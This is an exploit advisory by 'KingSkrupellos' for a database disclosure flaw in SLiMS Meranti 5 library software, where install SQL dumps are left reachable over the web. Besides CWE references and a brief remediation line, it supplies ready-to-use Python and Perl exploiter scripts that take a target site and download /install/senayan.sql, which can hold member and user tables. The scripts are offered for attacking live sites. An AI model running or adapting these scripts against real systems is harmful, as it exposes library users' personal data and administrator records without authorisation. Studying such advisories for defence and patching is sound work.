###########################################################################
# Exploit Title : Senayan Slims Meranti 5 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : slims.web.id
# Software Download Link : github.com/slims/slims5_meranti/archive/master.zip
# Software Information Link : github.com/slims/slims5_meranti
# Software Affected Version : 5
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Description about Software :
***************************
SENAYAN Library Management System (SLiMS) Meranti version 5 SLiMS is free open source software
for library resources management such as books, journals, digital document and other library materials)
and administration such as collection circulation, collection management, membership, stock taking
and many other else.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Installation of SENAYAN :
**********************
1. Put extracted SENAYAN's folder inside your web document root.
2. create "senayan3-stableVERSION" (example: "senayan3-stable10") database in mysql.
3. Open your phpMyAdmin or mysql client utility (or other mysql manager softwares) and
run "senayan.sql" sql script inside your SENAYAN's database.
4. Re-check your database configurations and others configuration in sysconfig.inc.php.
Check for these lines :
define('DB_HOST', 'FILL WITH YOUR MYSQL SERVER HOST - default to "localhost"');
define('DB_PORT', 'FILL WITH YOUR MYSQL SERVER PORT - default to "3306"');
define('DB_NAME', 'FILL WITH YOUR SENAYAN'S DATABASE NAME');
define('DB_USERNAME', 'USERNAME TO CONNECT TO MYSQL SERVER - VERY UNRECOMMENDED TO USE "root"');
define('DB_PASSWORD', 'PASSWORD TO CONNECT TO MYSQL SERVER');
5. If you have your own custom template, Adjust detail_template.php file or just overwrite it
with "detail_template.php" from "default" template folder.
###########################################################################
File :
*****
/install/senayan.sql
/install/sampledata.sql
Information :
************
-- SENAYAN Library Automation
-- Version 5 (Meranti)
-- Core database structure
-- Table structure for table `backup_log`
-- Dumping data for table `backup_log`
-- Table structure for table `biblio`
-- Dumping data for table `biblio`
-- Table structure for table `biblio_attachment`
-- Dumping data for table `biblio_attachment`
-- Table structure for table `biblio_author`
-- Dumping data for table `biblio_author`
-- Table structure for table `biblio_topic`
-- Dumping data for table `biblio_topic`
-- Table structure for table `content`
-- Dumping data for table `content`
-- Table structure for table `files`
-- Dumping data for table `files`
-- Table structure for table `fines`
-- Dumping data for table `fines`
-- Table structure for table `group_access`
-- Dumping data for table `group_access`
-- Table structure for table `holiday`
-- Dumping data for table `holiday`
-- Table structure for table `item`
-- Dumping data for table `item`
-- Table structure for table `kardex`
-- Dumping data for table `kardex`
-- Table structure for table `loan`
-- Dumping data for table `loan`
-- Table structure for table `member`
-- Table structure for table `mst_author`
-- Dumping data for table `mst_author`
-- Table structure for table `mst_coll_type`
-- Dumping data for table `mst_coll_type`
-- Table structure for table `mst_frequency`
-- Dumping data for table `mst_frequency`
-- Table structure for table `mst_gmd`
-- Dumping data for table `mst_gmd`
-- Table structure for table `mst_item_status`
-- Dumping data for table `mst_item_status`
-- Table structure for table `mst_label`
-- Dumping data for table `mst_label`
-- Table structure for table `mst_language`
-- Dumping data for table `mst_language`
-- Table structure for table `mst_loan_rules`
-- Dumping data for table `mst_loan_rules`
-- Table structure for table `mst_location`
-- Dumping data for table `mst_location`
-- Table structure for table `mst_member_type`
-- Dumping data for table `mst_member_type`
-- Table structure for table `mst_module`
-- Dumping data for table `mst_module`
-- Table structure for table `mst_place`
-- Dumping data for table `mst_place`
-- Table structure for table `mst_publisher`
-- Dumping data for table `mst_publisher`
-- Table structure for table `mst_supplier`
-- Dumping data for table `mst_supplier`
-- Table structure for table `mst_topic`
-- Dumping data for table `mst_topic`
-- Table structure for table `reserve`
-- Dumping data for table `reserve`
-- Table structure for table `serial`
-- Dumping data for table `serial`
-- Table structure for table `setting`
-- Dumping data for table `setting`
-- Table structure for table `stock_take`
-- Dumping data for table `stock_take`
-- Table structure for table `stock_take_item`
-- Dumping data for table `stock_take_item`
-- Table structure for table `system_log`
-- Dumping data for table `system_log`
-- Table structure for table `user`
-- Dumping data for table `user`
-- Table structure for table `user_group`
-- Dumping data for table `user_group`
-- Table structure for table `visitor_count`
-- Table structure for table `biblio_custom`
-- Table structure for table `search_biblio`
-- Table structure for table `member_custom`
###########################################################################
# Database Disclosure Information Exposure Python Exploiter 1 :
*******************************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/install/senayan.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Perl Exploiter 2 :
********************************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Senayan Slims Meranti 5 Database Disclosure');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="install/senayan.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/install/senayan.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/install/senayan.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################